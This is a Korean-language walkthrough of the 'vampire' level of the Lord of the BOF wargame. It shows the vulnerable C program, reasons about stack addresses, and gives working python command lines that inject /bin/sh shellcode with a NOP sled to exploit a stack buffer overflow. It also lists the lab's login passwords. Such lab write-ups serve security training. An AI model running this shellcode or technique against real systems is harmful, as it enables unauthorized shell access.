login : troll
password : aspirin
탐색전
두근두근
cat vampire.c
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
환경변수를 초기화 하는 부분이 사라졌다.
main 함수에서 인자를 입력받고, 이제는 here is changed!(ㅋㅎㅋㅎㅋ)
argv[1] 인자에서 46번 인덱스, 즉 47번째가 \xff 이면 안된다.
이전과 동일하게 48번째는 \xbf
그러니까 ret의 주소가 0xbf(ff는 안됨)~~~ 이어야 한다.
그리고 buffer와 argv[1]을 0으로 덮는 부분이 사라졌다.
cp vampire mympire
일단 주소를 확인해봐야하니 A로 덮고 core파일을 보자.
풀이
우선 주소를 확인한다. core 파일을 보기 위해 seg fault를 일으킨다.
아무리 계속 넘겨도 0xbf ff를 벗어날 수 없는데 어떻게 해야할까.
0xbf ff 는 ff이므로 더이상 커지면 0xbf를 바꾸게 되므로 실행이 어려워진다.
그러면 이전에 설명했던 메모리 구조에서
인자 위에 main의 스택 프레임이 생기게 되는데 인자의 값이 클수록 스택 프레임이 위에 생기지 않을까?
그러면 0xbfff 보다 작은 주소에서 스택프레임이 생기고 그 위에서 exploit을 하면 되는게 아닐까 싶었다.
그래서 인자 값으로 엄청나게 큰 값을 주었다.
0xbfff를 0xbffe로 만들 정도니까 아무래도 0xffff 정도는 주어야겠다.
./mympire $(python -c "print 'A'*47+'\xbf'+'\x90'*0xffff")
gdb로 core을 확인하면 0xbffe로 시작한다.
그러면 이 상태에서 buf의 시작주소는 0x41이 들어있는 0xbffefac0 인듯 하니 여기에 shellcode를 넣고 exploit 하는 코드를 작성한다.
./mympire $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\x90'*19+'\xc0\xfa\xfe\xbf'+'\x90'*0xffff")
된다.
이제 vampire로 해보자.
./vampire $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\x90'*19+'\xc0\xfa\xfe\xbf'+'\x90'*0xffff")
music world
이사자 거의 다 왔다!